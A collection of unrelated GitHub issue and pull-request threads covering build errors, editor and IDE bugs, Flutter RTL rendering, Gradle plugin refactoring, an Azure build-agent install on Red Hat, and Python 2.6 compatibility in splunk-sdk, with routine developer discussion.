Creating /home/codes/hue/build/env/lib/python2.7/site-packages/libopenid.egg-link (link to src)
libopenid 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/libopenid/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/libopenid' make -C libs/librdbms env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/librdbms'
--- Installing librdbms into virtual-env
running develop
running egg_info
writing requirements to src/librdbms.egg-info/requires.txt
writing src/librdbms.egg-info/PKG-INFO
writing top-level names to src/librdbms.egg-info/top_level.txt
writing dependency_links to src/librdbms.egg-info/dependency_links.txt
writing entry points to src/librdbms.egg-info/entry_points.txt
reading manifest file 'src/librdbms.egg-info/SOURCES.txt'
writing manifest file 'src/librdbms.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/librdbms.egg-link (link to src)
librdbms 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/librdbms/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/librdbms' make -C libs/libsaml env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/libsaml'
--- Installing libsaml into virtual-env
running develop
running egg_info
writing requirements to src/libsaml.egg-info/requires.txt
writing src/libsaml.egg-info/PKG-INFO
writing top-level names to src/libsaml.egg-info/top_level.txt
writing dependency_links to src/libsaml.egg-info/dependency_links.txt
writing entry points to src/libsaml.egg-info/entry_points.txt
reading manifest file 'src/libsaml.egg-info/SOURCES.txt'
writing manifest file 'src/libsaml.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/libsaml.egg-link (link to src)
libsaml 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/libsaml/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/libsaml' make -C libs/libsentry env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/libsentry'
--- Installing libsentry into virtual-env
running develop
running egg_info
writing requirements to src/libsentry.egg-info/requires.txt
writing src/libsentry.egg-info/PKG-INFO
writing top-level names to src/libsentry.egg-info/top_level.txt
writing dependency_links to src/libsentry.egg-info/dependency_links.txt
writing entry points to src/libsentry.egg-info/entry_points.txt
reading manifest file 'src/libsentry.egg-info/SOURCES.txt'
writing manifest file 'src/libsentry.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/libsentry.egg-link (link to src)
libsentry 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/libsentry/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/libsentry' make -C libs/libsolr env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/libsolr'
--- Installing libsolr into virtual-env
running develop
running egg_info
writing requirements to src/libsolr.egg-info/requires.txt
writing src/libsolr.egg-info/PKG-INFO
writing top-level names to src/libsolr.egg-info/top_level.txt
writing dependency_links to src/libsolr.egg-info/dependency_links.txt
writing entry points to src/libsolr.egg-info/entry_points.txt
reading manifest file 'src/libsolr.egg-info/SOURCES.txt'
writing manifest file 'src/libsolr.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/libsolr.egg-link (link to src)
libsolr 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/libsolr/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/libsolr' make -C libs/libzookeeper env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/libzookeeper'
--- Installing libzookeeper into virtual-env
running develop
running egg_info
writing requirements to src/libzookeeper.egg-info/requires.txt
writing src/libzookeeper.egg-info/PKG-INFO
writing top-level names to src/libzookeeper.egg-info/top_level.txt
writing dependency_links to src/libzookeeper.egg-info/dependency_links.txt
writing entry points to src/libzookeeper.egg-info/entry_points.txt
reading manifest file 'src/libzookeeper.egg-info/SOURCES.txt'
writing manifest file 'src/libzookeeper.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/libzookeeper.egg-link (link to src)
libzookeeper 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/libzookeeper/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/libzookeeper' make -C libs/metadata env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/metadata'
--- Installing metadata into virtual-env
running develop
running egg_info
writing requirements to src/metadata.egg-info/requires.txt
writing src/metadata.egg-info/PKG-INFO
writing top-level names to src/metadata.egg-info/top_level.txt
writing dependency_links to src/metadata.egg-info/dependency_links.txt
writing entry points to src/metadata.egg-info/entry_points.txt
reading manifest file 'src/metadata.egg-info/SOURCES.txt'
writing manifest file 'src/metadata.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/metadata.egg-link (link to src)
metadata 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/metadata/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/metadata' make -C libs/notebook env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/notebook'
--- Installing notebook into virtual-env
running develop
running egg_info
writing requirements to src/notebook.egg-info/requires.txt
writing src/notebook.egg-info/PKG-INFO
writing top-level names to src/notebook.egg-info/top_level.txt
writing dependency_links to src/notebook.egg-info/dependency_links.txt
writing entry points to src/notebook.egg-info/entry_points.txt
reading manifest file 'src/notebook.egg-info/SOURCES.txt'
writing manifest file 'src/notebook.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/notebook.egg-link (link to src)
notebook 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/notebook/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/notebook' --- Regenerating database at /home/codes/hue/desktop/desktop.db --- Syncing/updating database at /home/codes/hue/desktop/desktop.db Traceback (most recent call last):   File "/home/codes/hue/build/env/bin/hue", line 9, in <module>     load_entry_point('desktop', 'console_scripts', 'hue')()   File "/home/codes/hue/desktop/core/src/desktop/manage_entry.py", line 59, in entry     execute_from_command_line(sys.argv)   File "/usr/local/lib/python2.7/dist-packages/django/core/management/__init__.py", line 399, in execute_from_command_line     utility.execute()   File "/usr/local/lib/python2.7/dist-packages/django/core/management/__init__.py", line 392, in execute     self.fetch_command(subcommand).run_from_argv(self.argv)   File "/usr/local/lib/python2.7/dist-packages/django/core/management/__init__.py", line 261, in fetch_command     commands = get_commands()   File "/usr/local/lib/python2.7/dist-packages/django/core/management/__init__.py", line 107, in get_commands     apps = settings.INSTALLED_APPS   File "/usr/local/lib/python2.7/dist-packages/django/conf/__init__.py", line 54, in __getattr__     self._setup(name)   File "/usr/local/lib/python2.7/dist-packages/django/conf/__init__.py", line 49, in _setup     self._wrapped = Settings(settings_module)   File "/usr/local/lib/python2.7/dist-packages/django/conf/__init__.py", line 132, in __init__     % (self.SETTINGS_MODULE, e) ImportError: Could not import settings 'desktop.settings' (Is it on sys.path? Is there an import error in the settings file?): cannot import name get_regions make[1]: ** [/home/codes/hue/desktop/desktop.db] Erro 1 make[1]: Saindo do diretório /home/codes/hue/desktop'
make: ** [desktop] Erro 2

get_regions might be from the AWS lib. Does it still error if you do a fresh clone in another directory?


Uncaught Error: ENOENT: no such file or directory, open '/Users/kayone/git/plex-web-client/.jsbea...

[Enter steps to reproduce below:]

...
...

Atom Version: 1.0.9
System: Mac OS X 10.10.5
Thrown From: atom-beautify package, v0.28.11
Stack Trace
Uncaught Error: ENOENT: no such file or directory, open '/Users/kayone/git/plex-web-client/.jsbeautifyrc'
At fs.js:519

Error: ENOENT: no such file or directory, open '/Users/kayone/git/plex-web-client/.jsbeautifyrc'
  at Error (native)
  at Object.fs.openSync (fs.js:544:18)
  at Object.module.(anonymous function) [as openSync] (ATOM_SHELL_ASAR.js:118:20)
  at Object.fs.readFileSync (fs.js:396:15)
  at Object.fs.readFileSync (ATOM_SHELL_ASAR.js:369:29)
  at Beautifiers.module.exports.Beautifiers.getConfig (/Users/kayone/.atom/packages/atom-beautify/src/beautifiers/index.coffee:624:21)
  at Beautifiers.module.exports.Beautifiers.getOptionsForPath (/Users/kayone/.atom/packages/atom-beautify/src/beautifiers/index.coffee:714:15)
  at atom-workspace.beautify (/Users/kayone/.atom/packages/atom-beautify/src/beautify.coffee:163:27)
  at CommandRegistry.module.exports.CommandRegistry.handleCommandEvent (/opt/homebrew-cask/Caskroom/atom/latest/Atom.app/Contents/Resources/app.asar/src/command-registry.js:245:29)
  at /opt/homebrew-cask/Caskroom/atom/latest/Atom.app/Contents/Resources/app.asar/src/command-registry.js:3:61
  at KeymapManager.module.exports.KeymapManager.dispatchCommandEvent (/opt/homebrew-cask/Caskroom/atom/latest/Atom.app/Contents/Resources/app.asar/node_modules/atom-keymap/lib/keymap-manager.js:524:16)
  at KeymapManager.module.exports.KeymapManager.handleKeyboardEvent (/opt/homebrew-cask/Caskroom/atom/latest/Atom.app/Contents/Resources/app.asar/node_modules/atom-keymap/lib/keymap-manager.js:347:22)
  at HTMLDocument.module.exports.WindowEventHandler.onKeydown (/opt/homebrew-cask/Caskroom/atom/latest/Atom.app/Contents/Resources/app.asar/src/window-event-handler.js:177:20)

Commands
     -1:00.3.0 core:save (atom-text-editor.editor.is-focused)
     -0:59.1.0 core:backspace (atom-text-editor.editor.is-focused)
     -0:58.7.0 core:save (atom-text-editor.editor.is-focused)
  2x -0:41.2.0 editor:newline (atom-text-editor.editor.is-focused)
  3x -0:39.8.0 core:backspace (atom-text-editor.editor.is-focused)
     -0:38.5.0 snippets:next-tab-stop (atom-text-editor.editor.is-focused)
     -0:38.5.0 snippets:expand (atom-text-editor.editor.is-focused)
     -0:38.5.0 editor:indent (atom-text-editor.editor.is-focused)
  9x -0:34.4.0 core:backspace (atom-text-editor.editor.is-focused.autocomplete-active)
     -0:24 core:move-left (atom-text-editor.editor.is-focused)
     -0:11.2.0 core:paste (atom-text-editor.editor.is-focused)
     -0:07.8.0 core:backspace (atom-text-editor.editor.is-focused)
     -0:07.0 core:move-right (atom-text-editor.editor.is-focused)
     -0:05.7.0 core:backspace (atom-text-editor.editor.is-focused.autocomplete-active)
     -0:04.9.0 atom-beautify:beautify-editor (atom-text-editor.editor.is-focused)
     -0:04.3.0 core:save (atom-text-editor.editor.is-focused)

Config
{
  "core": {
    "disabledPackages": [
      "language-objective-c",
      "language-c",
      "language-clojure",
      "language-java",
      "language-php",
      "welcome",
      "git-control",
      "wrap-guide",
      "autoflow",
      "background-tips",
      "omnisharp-atom",
      "language-go",
      "language-perl",
      "language-ruby-on-rails",
      "language-sass",
      "language-toml"
    ],
    "openEmptyEditorOnStart": false
  },
  "atom-beautify": {
    "_analyticsUserId": "00b7817f-b16f-4250-94c6-70e2f50b5702",
    "language_js_beautify_on_save": false,
    "language_json_beautify_on_save": false,
    "language_handlebars_beautify_on_save": false,
    "language_less_beautify_on_save": false,
    "language_html_beautify_on_save": false,
    "language_xml_beautify_on_save": false,
    "css_convert_quotes": "single",
    "css_newline_between_rules": true,
    "css_preserve_newlines": true,
    "css_selector_separator_newline": true
  }
}

Installed Packages
# User
atom-beautify, v0.28.11
atom-handlebars, v1.1.0
atom-ternjs, v0.7.2
auto-reveal-in-sidebar, v0.5.0
autocomplete-paths, v1.0.2
clipboard-history, v0.6.6
color-picker, v2.0.11
esformatter, v1.9.0
file-icons, v1.6.9
file-types, v0.5.1
flex-tool-bar, v0.5.0
highlight-selected, v0.10.1
json-schema, v0.1.13
language-diff, v0.3.1
linter, v1.4.3
linter-jscs, v2.0.4
linter-jshint, v1.1.5
linter-less, v2.1.0
local-history, v3.2.3
minimap, v4.13.2
minimap-find-and-replace, v4.3.0
minimap-git-diff, v4.1.8
minimap-hide, v0.3.0
minimap-highlight-selected, v4.3.0
pigments, v0.13.0
project-manager, v2.0.1
recent-files-fuzzy-finder, v0.1.4
sync-settings, v0.6.0
tool-bar, v0.1.8
underscorejs-snippets, v0.2.2
zentabs, v0.8.6

# Dev
No dev packages

Please provide reproducible instructions for this Issue. I do not know what is going on from this information.

sorry about that, think it has to do with a missing `jsbeautifyrc' file, if the file is delete while atom is running any future attempts at formatting the file using keyboard shortcuts causes this error.


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/92210

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/102844

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/103094


Compile against stripped interfaces of upstream modules

If we strip out the implementation of intermediate compile output like Bazel does, it could save us a bunch of spurious re-compiles when you change a method body but Zinc isn't clever enough to figure out that downstreams don't need to recompile.
We only need to use the "real" compiled output of upstream modules 1) if you are using macros from that module or 2) you actually want to run the code
Bazel has some special hand-rolled C++ stripped called ijar, but we could probably get away with just using ASM or something

Is it already implemented in zinc?


Output names/tags of images created/built

Thanks again for this plugin!
When I sbt jibDockerBuild or sbt jibImageBuild, how can I get the plugin to output the names/tags of the image(s) it has created?
Might be something totally obvious I'm missing :)

does https://github.com/sbt-jib/sbt-jib/issues/70 not cover your needs?


Installed extensions not visible in sidebar

Type: Bug
None of the four extension sub-sections show anything. Installed, Recommended, Enabled, Disabled all are blank when expanded. My extension settings are preserved however, and enabled extensions also work fine, just not visible.
I have tried disabling all extensions but that doesn't solve the issue. Sometimes I can force some of the extensions to become visible by searching in the market place.
What has worked for me:

Search for an Installed and Enabled extension in the marketplace.
Open the details view of the extension (click on the extension in the presented list basically).
Now clear the search and expand Enabled extensions in the sidebar.
 Extensions lists are empty when working with .devcontainer project.

Wondering for all of you, extensions are running but are not shown in the UI? And may I know if reloading the window helps?

@mateeni-dev Are you able to reproduce this consistently?

@sandy081 Reloading window or close/open vscode doesn't help. Extensions seems to work fine, but lists are empty.
If extensions lists were closed on previous vscode session. Then to make it temporary work I need to:

Open vscode
Open Extensions tab
Expand each of extensions lists
Press Refresh icon

@sandy081 I wouldn't say 100% because once or twice they seem to show up fine, but yes pretty much the same story 9/10 times. I open the editor, extensions are blank in UI but still running, and if I need to see them then repeat the 4 steps as described above.
About reloading the window, same story again.
Some more info just in-case it helps - This started happening in the insiders version 1.74, probably 3 or so weeks ago. Also tested in 1.75 just now, same issue there as well.

For me. If extensions lists were open on previous vscode session. Then they will be shown as usual (no issue) when you open new vscode session.

For me. If extensions lists were open on previous vscode session. Then they will be shown as usual (no issue) when you open new vscode session.

Huh, guess that explains why it was working once or twice for me. It does that yes, can confirm.

local window for me

Can you please enable log level to trace and provide me following logs when this happen?

ah, can't seem to find any setting for log level, could you give me a hint :sweat_smile:

Please use the command F1 > Set Log Level... to configure log level.

Could be a duplicate of https://github.com/microsoft/vscode/issues/168404
May I know if the extensions views/sections are collapsed? Can you please do following and let me know if it worked?

Expand the extensions views/sections and reload the window?

i can't see any off my installed or search extensions in the market place. when i search something i get this warning

Type: Bug
None of the four extension sub-sections show anything. Installed, Recommended, Enabled, Disabled all are blank when expanded. My extension settings are preserved however, and enabled extensions also work fine, just not visible.
I have tried disabling all extensions but that doesn't solve the issue. Sometimes I can force some of the extensions to become visible by searching in the market place.
What has worked for me:

Search for an Installed and Enabled extension in the marketplace.
Open the details view of the extension (click on the extension in the presented list basically).
Now clear the search and expand Enabled extensions in the sidebar.
Enabled extensions now become visible again.

(here extension is installed but disabled, see the sidebar)
(here extension is installed and enabled, see the sidebar)
VS Code version: Code 1.74.0 (5235c6b, 2022-12-05T16:38:16.075Z) OS version: Windows_NT x64 10.0.22621 Modes: Sandboxed: No
System Info
Extensions (21)

i can't even see the installed extension.when i search


Flutter web does not render arabic (RTL) characters properly when HTML renderer used.

Is there an existing issue for this?

[X] I have searched the existing issues
[X] I have read the guide to filing a bug

Steps to reproduce
1-Create flutter project.
2-Use text widget with arabic text.
3-flutter run -d chrome --web-renderer html
I tested on flutter 3.10.6 and 13.3.1 with same results and both on mobile and desktop browsers.
The issue appear to be fixed when style: TextStyle(
letterSpacing: 0,
), is applied.
Expected results
Expected those Arabic characters to be rendered properly like:
سڵاو باشی
Actual results
Got the chracters in reverse.

Code sample
Code sample
[Widget build(BuildContext context) {
    print('built dashboard');

    return Scaffold(
      body: Column(
        children: [Text('سڵاو باشی')],
      ),
    );
  }]

Screenshots or Video

Screenshots / Video demonstration
[Upload media here]

Logs
Logs
[Paste your logs here]

Flutter Doctor output
Doctor output
[Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 3.13.1, on macOS 13.4 22F66 darwin-arm64, locale en-IQ)
[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.1)
[✓] Xcode - develop for iOS and macOS (Xcode 14.3.1)
[✓] Chrome - develop for the web
[✓] Android Studio (version 2022.3)
[✓] VS Code (version 1.81.1)
[✓] Connected device (2 available)
    ! Device 1WMHHA615N2015 is not authorized.
      You might need to check your device for an authorization dialog.
[✓] Network resources
]

@rebindev
Can you check if your case resembles https://github.com/flutter/flutter/issues/122153 ?

@darshankawar not really. Mine the characters of every word are reversed for example lets assume this is arabic text.
We go
when HTML render used the text rendered as .. ew og.
Currently my work around is using:
TextStyle(
letterSpacing: 0,
)
Using this style there is no issues.

@darshankawar Yes my issue is different. The one you mentioned have some problem ordering words.. but mine is absolutely unreadable and the characters are separated and reversed.

@darshankawar This issue is similar to mine.

Thanks for the update @rebindev
I tried the code sample you shared in original post and also from the code sample from above issue, ran it in web using html renderer with latest stable and master version and observed that I saw correct result:

Use this rendering :
flutter build web --no-sound-null-safety --web-renderer canvaskit

I had this problem before, if the output is taken with this code, the problem will be solved code
flutter build web --no-sound-null-safety --web-renderer canvaskit


Don't advance the epoch in try_collect until after doing the collection.

In try_collect(), it is important to reclaim memory from two epochs
ago before advancing the local epoch. As soon as the local epoch has
been advanced, another thread could advance the epoch and start
putting garbage in that same bag.
Closes #46.

Thanks so much for tracking this down!


Pgp pipes

Created a new PGP pipe for encryption, decryption, signing and verification.
Details about the usage is in javadoc.
One problem is that the library used is not in Maven center, instead it's in JCenter so it needs to be either copied to our own repositories or add additional repository to pom file.

@nielsm5 I have changed parent pom and yaml file to use java 8, so that travic ci can pass. https://github.com/ibissource/iaf/pull/367/commits/1da221020ee2b462edf5f3ed79780d356536e221


client starts 3-4 times

Hello Isaac,
i don´t know why this happen, but everytime i want to start this code, it connects 3-4 times the client.
The Print on Line 26:
Connected to Room ID: None
https://pastebin.com/wrX8vgPy

Please fix the formatting, your code is unreadable

You are starting the client within the while loop, that's what causes it to start multiple times, I believe


Allow package installation in upgrade integ test

The test is setup in a way that KET is responsible for installing the
packages. However, the plan file was not updated from the previous
implementation of the test that was performing the installation of
packages out of band from KET upgrade.

Fixes #829

LGTM!


Improve compatibility with the Gradle API

Is your feature request related to a problem? Please describe.
Currently the plugin does not fully utilise the Gradle plugin API, or follow best practices.

Kotlin DSL helpers are available that would make the code more Kotlin-esque, for example
https://github.com/JetBrains/gradle-intellij-plugin/blob/0e1bd547c1aede452ffb6e7af0cf53ea080038e2/src/main/kotlin/org/jetbrains/intellij/IntelliJPlugin.kt#L110-L113
could use the org.gradle.kotlin.dsl.create extension
     val intellijExtension = project.extensions.create<IntelliJPluginExtension>(
         IntelliJPluginConstants.EXTENSION_NAME,
     )

Some classes could be made into managed types, so manually creating property instances isn't necessary
https://github.com/JetBrains/gradle-intellij-plugin/blob/0e1bd547c1aede452ffb6e7af0cf53ea080038e2/src/main/kotlin/org/jetbrains/intellij/tasks/DownloadRobotServerPluginTask.kt#L39-L40
 @get:Input
 abstract val version: Property<String>

https://docs.gradle.org/current/userguide/implementing_gradle_plugins.html#reacting_to_plugins https://github.com/JetBrains/gradle-intellij-plugin/blob/0e1bd547c1aede452ffb6e7af0cf53ea080038e2/src/main/kotlin/org/jetbrains/intellij/IntelliJPlugin.kt#L96-L97

IntelliJPlugin.kt is over 1,500 lines, which makes developing difficult.

Properties aren't mapped using .map {}, which can be more complicated (if provider.provider{} is used instead), or might mean Gradle can't connect properly connect tasks inputs and outputs
https://github.com/JetBrains/gradle-intellij-plugin/blob/0e1bd547c1aede452ffb6e7af0cf53ea080038e2/src/main/kotlin/org/jetbrains/intellij/tasks/DownloadRobotServerPluginTask.kt#L75-L76

Some tasks extend an internal Gradle type, ConventionTask, instead of the public standard DefaultTask()
https://github.com/JetBrains/gradle-intellij-plugin/blob/0e1bd547c1aede452ffb6e7af0cf53ea080038e2/src/main/kotlin/org/jetbrains/intellij/tasks/PatchPluginXmlTask.kt#L26-L28

I'm not sure what DependenciesDownloader is supposed to be doing, but I think that defining a custom configuration with default dependencies might be better. It might help to make it a shared build service too?

Describe the solution you'd like
Tasks are updated to use up-to-date best practices. This could be done incrementally, task-by-task.
In order to split up IntelliJPlugin.kt into smaller pieces, multiple plugins could be created - each specialised on a specific topic. IntelliJPlugin could apply them as required.
Describe alternatives you've considered
I suspect that the current configuration causes this blocking issue #1113, so I'm not sure if an alternative is possible.
Additional context
Add any other context or screenshots about the feature request here.
This is related to

#1110
#1103

Fantastic work @hsz!


⚠ Bofrost.be has degraded performance

In 7109f48, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1412 ms

Resolved: Bofrost.be performance has improved in 75f1714 after 13 minutes.


Hosts of my network lost connection after a fixed time

Hi All,
I am setting my network with 3 switches each containing 4 hosts and finally these 3 switches are connect to a top level switch. After running this topology hping3 command runs properly in all the hosts for about 5 mins. After that everything stops. Even I can not ping any host from another.
Please suggest what might be the problem

can you provide you example code?

Sounds like your interfaces are being reconfigured, for example by a system service like networkmanager (which you should not run.)

Can you confirm that this happens with the latest mininet 2.3 VM?


SMS language for Phone authentification

Hey hey,
Today i cannot change the locale of authentification sms code.
In firebase native documentation, there is a parameter ->  Auth.auth().languageCode = "fr";
I cannot find this parameter in this amazing plugin, how can i do ?
Thanks for your help 👍

Looks like this is supported by the iOS and Android methods but it's currently not exposed via the plugin API.
Added as a requested feature and I'd be happy to accept a PR which implements it.

ok i will take a look next week to make it :)

I just send a PR

Reopening as  stalebot incorrectly closed it


Visual Studio Solution Folders

If you create a Hosted Blazor app in a VS solution folder, only the Server project ends up in the folder. The Client and Shared projects are put outside the folder.

That's not something the Blazor templates control. Would you be willing to report this to https://github.com/dotnet/templating/? The core issue is that multi-project templates have this behavior (not just Blazor).


Add 'cost' and 'margin' to stake pools

Issue Number

#1090
Overview

[x] I have added cost and margin to 'PoolRegistrationCertificate'  and adjusted Jörmungandr binary decoders to also parse these.
[x] I have slightly revised the pool database layer to not store (resp. read) only pool owners, but store (resp. read) registration certificates entirely.
[x] I have adjusted the logic from listStakePools to attach cost and margin to each pool
[x] I have extended the API types
[x] adjusted the swagger file to include these

Comments

Cardano.Pool.DB.Sqlite
  Sqlite
    Stake Pool properties
      putPoolRegistration then readPoolRegistration yields expected result
        +++ OK, passed 100 tests.
      rollback of pool Registrations
        +++ OK, passed 100 tests:
        87% rolled back some
        77% owner has many pools

Maybe it would be nice to update also integration test STAKE_POOLS_LIST_01 asserting also for existence of cost and margin.

bors r+

bors r+

bors r+

bors r+

bors r+

bors r+


Self Hosted Agent - RedHat 7.6 & 7.7 fail.

Agent Version and Platform
Various - latest agent 2.144.1 for Linux x64.
Followed the steps in https://docs.microsoft.com/en-gb/learn/modules/host-build-agent/4-create-build-agent
This works for Ubuntu but not RedHat.
Error is below;

Finish Install Dependencies
ldd: warning: you do not have execution permission for ./bin/libcoreclr.so' ldd: warning: you do not have execution permission for ./bin/System.Security.Cryptography.Native.OpenSsl.so'
ldd: warning: you do not have execution permission for ./bin/System.IO.Compression.Native.so' ldd: warning: you do not have execution permission for ./bin/System.Net.Http.Native.so'
realpath(): Permission denied
Failed to resolve full path of the current executable [/proc/self/exe]

OS of the machine running the agent? Redhat Linux. Tried and it works fine with Ubuntu
--------OS Information--------
NAME="Red Hat Enterprise Linux Server"
VERSION="7.7 (Maipo)"
ID="rhel"
ID_LIKE="fedora"
VARIANT="Server"
VARIANT_ID="server"
VERSION_ID="7.7"
PRETTY_NAME="Red Hat Enterprise Linux Server 7.7 (Maipo)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:redhat:enterprise_linux:7.7:GA:server"
HOME_URL="https://www.redhat.com/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Red Hat Enterprise Linux 7"
REDHAT_BUGZILLA_PRODUCT_VERSION=7.7
REDHAT_SUPPORT_PRODUCT="Red Hat Enterprise Linux"
REDHAT_SUPPORT_PRODUCT_VERSION="7.7"
The current OS is Fedora based
--------Redhat Version--------
Red Hat Enterprise Linux Server release 7.7 (Maipo)

I am experiencing this as well.

I found the problem was the ownership of the files in the folder. They were owned by 1001 instead of the msagent user I had created. Running this as root for the install worked:
# Install MS Build agent
mkdir -p /opt/ms-build-agent &&\
cd /opt/ms-build-agent &&\
wget https://vstsagentpackage.azureedge.net/agent/2.166.2/vsts-agent-linux-x64-2.166.2.tar.gz &&\
tar xvfz vsts-agent-linux-x64-2.166.2.tar.gz &&\
useradd -r -s /bin/false msagent &&\
chown msagent . -R &&\
/opt/ms-build-agent/bin/installdependencies.sh &&\
su -s /bin/bash -c '/opt/ms-build-agent/config.sh' msagent

works I am running centos 8
Install MS Build agent
mkdir -p /opt/ms-build-agent &&
cd /opt/ms-build-agent &&
wget https://vstsagentpackage.azureedge.net/agent/2.166.2/vsts-agent-linux-x64-2.166.2.tar.gz &&
tar xvfz vsts-agent-linux-x64-2.166.2.tar.gz &&
useradd -r -s /bin/false msagent &&
chown msagent . -R &&
/opt/ms-build-agent/bin/installdependencies.sh &&
su -s /bin/bash -c '/opt/ms-build-agent/config.sh' msagent


test merge queue rules

What does this PR do?

Motivation

Additional Notes

Possible Drawbacks / Trade-offs

Describe how to test/QA your changes

/merge

/merge


Python 2.6 Syntax Errors

The README states that Python 2.6 is supported. However, I am getting syntax errors, one of them being a dictionary comprehension which I know isn't supported in 2.6. I'm surprised no one has reported this yet. Did I do something wrong?
Traceback (most recent call last):
  File "/opt/splunk/etc/apps/ExampleApp/bin/downtime.py", line 8, in <module>
    from splunklib.searchcommands import \
  File "/usr/lib/python2.6/site-packages/splunklib/searchcommands/__init__.py", line 146, in <module>
    from .decorators import *
  File "/usr/lib/python2.6/site-packages/splunklib/searchcommands/decorators.py", line 23, in <module>
    from .internals import ConfigurationSettingsType, json_encode_string
  File "/usr/lib/python2.6/site-packages/splunklib/searchcommands/internals.py", line 766
    metadata = str(''.join(self._iterencode_json({n: v for n, v in metadata if v is not None}, 0)))
                                                         ^
SyntaxError: invalid syntax

After fixing the above with self._iterencode_json(dict((n, v) for n, v in metadata if v is not None), 0) I got another syntax error:
Traceback (most recent call last):
  File "/opt/splunk/etc/apps/ExampleApp/bin/downtime.py", line 8, in <module>
    from splunklib.searchcommands import \
  File "/usr/lib/python2.6/site-packages/splunklib/searchcommands/__init__.py", line 149, in <module>
    from .generating_command import GeneratingCommand
  File "/usr/lib/python2.6/site-packages/splunklib/searchcommands/generating_command.py", line 20, in <module>
    from .search_command import SearchCommand
  File "/usr/lib/python2.6/site-packages/splunklib/searchcommands/search_command.py", line 576
    n: ','.join(v) if isinstance(v, (list, tuple)) else v for n, v in self._configuration.iteritems()})
                                                            ^
SyntaxError: invalid syntax

There may be more. Is splunk-sdk supposed to support Python 2.6? If so, can these errors be fixed? You can reproduce with the following code:
from splunklib.searchcommands import dispatch, StreamingCommand, Configuration, Option, validators

My environment:
$ python -V
Python 2.6.6
$ pip freeze | grep splunk
splunk-sdk==1.5.0

Thanks!

Thanks for the issue @Vye. There are a handful dictionary comprehensions in splunklib/searchcommands/internals.py that are not currently Python 2.6 compatible.
We're open to a pull request if you're interested in fixing these

I started fixing this but found I have an upgrade path to 2.7. I submitted a PR that partially fixes this but will not pursue py2.6 support further.
Oddly, I wasn't able to see test failures in py2.6 unless I called tests/searchcommands/test_* directly. I'm not familiar enough with your test suite to know why that is.

@Vye this is fixed in v1.6.0, thanks again for bringing this to our attention


Add script to generate index notebook for examples

Right now there is a simple README, a notebook with clickable links (that can be displayed directly on GitHub) would be good.

Closing this for being stale, examples are now shown in galleries and there are separate plans to improve those, so I'm closing.


Fix email sharing

Fixes e-mail share to pass in body as well.
Testing

If you go to http://refresh.demo.cfpb.gov/about-us/the-bureau/about-director/, and click on the email button, you'll notice it doesn't populate the e-mail with the body parameter.
Go to http://localhost:8000/about-us/the-bureau/about-director/, click on the email button, and verify it populates the e-mail with the body parameter. (The subject line is currently empty, but if someone sets that, it should work).
Click on other external links to verify those still work as before.

Review

@kave @rosskarchner @kurtw

Checklist

[x] Changes are limited to a single goal (no scope creep)
[x] Code can be automatically merged (no conflicts)
[ ] Code follows the standards laid out in the front end playbook
[x] Passes all existing automated tests
[ ] New functions include new tests
[ ] New functions are documented (with a description, list of inputs, and expected output)
[ ] Placeholder code is flagged
[ ] Visually tested in supported browsers and devices
[x] Project documentation has been updated (including the "Unreleased" section of the CHANGELOG)

Closing for now to make it more generic (which would take care of other places this is failing https://github.com/cfpb/cfgov-refresh/issues/1786)

Nice!

LGTM


Client configuration

There should be a flawless way for configuring the client so the user, at deploy-time, can define:

structure of the indexes
...

@Mec-iS  can you  please elaborate the issue

the developer should be allowed to configure how the local graph is indexed and other optiond. So for every entrypoint he/she should be able to define a data structure in which the configuration is stored. Every time the client instance is created, the code should read the data structure and set up the client in the way defined by the user (rebuild the indexes, etc).


Deprecate restify-plugins

The restify plugins are finding themselves a new (well, old?) home back in the node-restify repo. As part of this process, we need to properly deprecate this repo.
TODO:

